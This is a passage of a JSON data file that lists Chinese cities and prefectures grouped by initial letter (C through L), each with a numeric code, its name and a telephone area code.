"firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0768", "regionCode": 0 }, { "code": 101291700, "name": "楚雄彝族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0878", "regionCode": 0 }, { "code": 101300200, "name": "崇左", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1771", "regionCode": 0 }, { "code": 101311200, "name": "澄迈", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "804", "regionCode": 0 }, { "code": 101311500, "name": "昌江黎族自治县", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "803", "regionCode": 0 } ] }, { "firstChar": "D", "cityList": [ { "code": 101050800, "name": "大庆", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0459", "regionCode": 0 }, { "code": 101051300, "name": "大兴安岭地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0457", "regionCode": 0 }, { "code": 101070200, "name": "大连", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0411", "regionCode": 0 }, { "code": 101070600, "name": "丹东", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0415", "regionCode": 0 }, { "code": 101100200, "name": "大同", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0352", "regionCode": 0 }, { "code": 101120400, "name": "德州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0534", "regionCode": 0 }, { "code": 101121200, "name": "东营", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0546", "regionCode": 0 }, { "code": 101160200, "name": "定西", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0932", "regionCode": 0 }, { "code": 101270600, "name": "达州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0818", "regionCode": 0 }, { "code": 101271700, "name": "德阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0838", "regionCode": 0 }, { "code": 101281600, "name": "东莞", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0769", "regionCode": 0 }, { "code": 101282200, "name": "东沙群岛", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "", "regionCode": 0 }, { "code": 101291300, "name": "德宏傣族景颇族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0692", "regionCode": 0 }, { "code": 101291500, "name": "迪庆藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0887", "regionCode": 0 }, { "code": 101291600, "name": "大理白族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0872", "regionCode": 0 }, { "code": 101310400, "name": "儋州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "805", "regionCode": 0 }, { "code": 101310900, "name": "东方", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "807", "regionCode": 0 }, { "code": 101311000, "name": "定安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "806", "regionCode": 0 } ] }, { "firstChar": "E", "cityList": [ { "code": 101080600, "name": "鄂尔多斯", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0477", "regionCode": 0 }, { "code": 101200300, "name": "鄂州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0711", "regionCode": 0 }, { "code": 101201300, "name": "恩施土家族苗族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0718", "regionCode": 0 } ] }, { "firstChar": "F", "cityList": [ { "code": 101070400, "name": "抚顺", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0413", "regionCode": 0 }, { "code": 101070900, "name": "阜新", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0418", "regionCode": 0 }, { "code": 101220800, "name": "阜阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1558", "regionCode": 0 }, { "code": 101230100, "name": "福州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0591", "regionCode": 0 }, { "code": 101240400, "name": "抚州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0794", "regionCode": 0 }, { "code": 101280800, "name": "佛山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0757", "regionCode": 0 }, { "code": 101301400, "name": "防城港", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0770", "regionCode": 0 } ] }, { "firstChar": "G", "cityList": [ { "code": 101150600, "name": "果洛藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0975", "regionCode": 0 }, { "code": 101161400, "name": "甘南藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0941", "regionCode": 0 }, { "code": 101170400, "name": "固原", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0954", "regionCode": 0 }, { "code": 101240700, "name": "赣州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0797", "regionCode": 0 }, { "code": 101260100, "name": "贵阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0851", "regionCode": 0 }, { "code": 101270800, "name": "广安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0826", "regionCode": 0 }, { "code": 101271800, "name": "广元", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0839", "regionCode": 0 }, { "code": 101272100, "name": "甘孜藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0836", "regionCode": 0 }, { "code": 101280100, "name": "广州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "020", "regionCode": 0 }, { "code": 101300500, "name": "桂林", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0773", "regionCode": 0 }, { "code": 101300800, "name": "贵港", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1755", "regionCode": 0 } ] }, { "firstChar": "H", "cityList": [ { "code": 101050100, "name": "哈尔滨", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0451", "regionCode": 0 }, { "code": 101050600, "name": "黑河", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0456", "regionCode": 0 }, { "code": 101051100, "name": "鹤岗", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0468", "regionCode": 0 }, { "code": 101071400, "name": "葫芦岛", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0429", "regionCode": 0 }, { "code": 101080100, "name": "呼和浩特", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0471", "regionCode": 0 }, { "code": 101080700, "name": "呼伦贝尔", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0470", "regionCode": 0 }, { "code": 101090800, "name": "衡水", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0318", "regionCode": 0 }, { "code": 101091000, "name": "邯郸", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0310", "regionCode": 0 }, { "code": 101110800, "name": "汉中", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0916", "regionCode": 0 }, { "code": 101121000, "name": "菏泽", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0530", "regionCode": 0 }, { "code": 101130900, "name": "哈密", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0902", "regionCode": 0 }, { "code": 101131300, "name": "和田地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0903", "regionCode": 0 }, { "code": 101150200, "name": "海东", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0972", "regionCode": 0 }, { "code": 101150300, "name": "海北藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0970", "regionCode": 0 }, { "code": 101150400, "name": "黄南藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0973", "regionCode": 0 }, { "code": 101150500, "name": "海南藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0974", "regionCode": 0 }, { "code": 101150800, "name": "海西蒙古族藏族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0977", "regionCode": 0 }, { "code": 101181200, "name": "鹤壁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0392", "regionCode": 0 }, { "code": 101190900, "name": "淮安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0517", "regionCode": 0 }, { "code": 101200500, "name": "黄冈", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0713", "regionCode": 0 }, { "code": 101200600, "name": "黄石", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0714", "regionCode": 0 }, { "code": 101210100, "name": "杭州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0571", "regionCode": 0 }, { "code": 101210200, "name": "湖州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0572", "regionCode": 0 }, { "code": 101220100, "name": "合肥", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0551", "regionCode": 0 }, { "code": 101220400, "name": "淮南", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0554", "regionCode": 0 }, { "code": 101221100, "name": "淮北", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0561", "regionCode": 0 }, { "code": 101221600, "name": "黄山", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0559", "regionCode": 0 }, { "code": 101250400, "name": "衡阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0734", "regionCode": 0 }, { "code": 101251200, "name": "怀化", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0745", "regionCode": 0 }, { "code": 101280300, "name": "惠州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0752", "regionCode": 0 }, { "code": 101281200, "name": "河源", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0762", "regionCode": 0 }, { "code": 101291200, "name": "红河哈尼族彝族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0873", "regionCode": 0 }, { "code": 101300700, "name": "贺州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1774", "regionCode": 0 }, { "code": 101301200, "name": "河池", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0778", "regionCode": 0 }, { "code": 101310100, "name": "海口", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0898", "regionCode": 0 } ] }, { "firstChar": "J", "cityList": [ { "code": 101050400, "name": "佳木斯", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0454", "regionCode": 0 }, { "code": 101051000, "name": "鸡西", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0467", "regionCode": 0 }, { "code": 101060200, "name": "吉林", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0432", "regionCode": 0 }, { "code": 101070700, "name": "锦州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0416", "regionCode": 0 }, { "code": 101100400, "name": "晋中", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0354", "regionCode": 0 }, { "code": 101100600, "name": "晋城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0356", "regionCode": 0 }, { "code": 101120100, "name": "济南", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0531", "regionCode": 0 }, { "code": 101120700, "name": "济宁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0537", "regionCode": 0 }, { "code": 101160600, "name": "金昌", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0935", "regionCode": 0 }, { "code": 101160800, "name": "酒泉", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0937", "regionCode": 0 }, { "code": 101161200, "name": "嘉峪关", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1937", "regionCode": 0 }, { "code": 101181100, "name": "焦作", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0391", "regionCode": 0 }, { "code": 101181800, "name": "济源", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1391", "regionCode": 0 }, { "code": 101200800, "name": "荆州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0716", "regionCode": 0 }, { "code": 101201200, "name": "荆门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0724", "regionCode": 0 }, { "code": 101210300, "name": "嘉兴", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0573", "regionCode": 0 }, { "code": 101210900, "name": "金华", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0579", "regionCode": 0 }, { "code": 101240200, "name": "九江", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0792", "regionCode": 0 }, { "code": 101240600, "name": "吉安", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0796", "regionCode": 0 }, { "code": 101240800, "name": "景德镇", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0798", "regionCode": 0 }, { "code": 101281100, "name": "江门", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0750", "regionCode": 0 }, { "code": 101281900, "name": "揭阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0663", "regionCode": 0 } ] }, { "firstChar": "K", "cityList": [ { "code": 101130200, "name": "克拉玛依", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0990", "regionCode": 0 }, { "code": 101131100, "name": "克孜勒苏柯尔克孜自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0908", "regionCode": 0 }, { "code": 101131200, "name": "喀什地区", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0998", "regionCode": 0 }, { "code": 101132200, "name": "可克达拉市", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1999", "regionCode": 0 }, { "code": 101132300, "name": "昆玉市", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "1903", "regionCode": 0 }, { "code": 101180800, "name": "开封", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0378", "regionCode": 0 }, { "code": 101290100, "name": "昆明", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0871", "regionCode": 0 } ] }, { "firstChar": "L", "cityList": [ { "code": 101060600, "name": "辽源", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0437", "regionCode": 0 }, { "code": 101071000, "name": "辽阳", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0419", "regionCode": 0 }, { "code": 101090600, "name": "廊坊", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0316", "regionCode": 0 }, { "code": 101100700, "name": "临汾", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0357", "regionCode": 0 }, { "code": 101101100, "name": "吕梁", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0358", "regionCode": 0 }, { "code": 101120900, "name": "临沂", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0539", "regionCode": 0 }, { "code": 101121700, "name": "聊城", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0635", "regionCode": 0 }, { "code": 101140100, "name": "拉萨", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0891", "regionCode": 0 }, { "code": 101140400, "name": "林芝", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0894", "regionCode": 0 }, { "code": 101160100, "name": "兰州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "0931", "regionCode": 0 }, { "code": 101161100, "name": "陇南", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 0, "color": null, "recruitmentType": null, "cityCode": "2935", "regionCode": 0 }, { "code": 101161300, "name": "临夏回族自治州", "tip": null, "subLevelModelList": null, "firstChar": null, "pinyin": null, "rank": 0, "mark": 0, "positionType": 0, "cityType": 0, "capital": 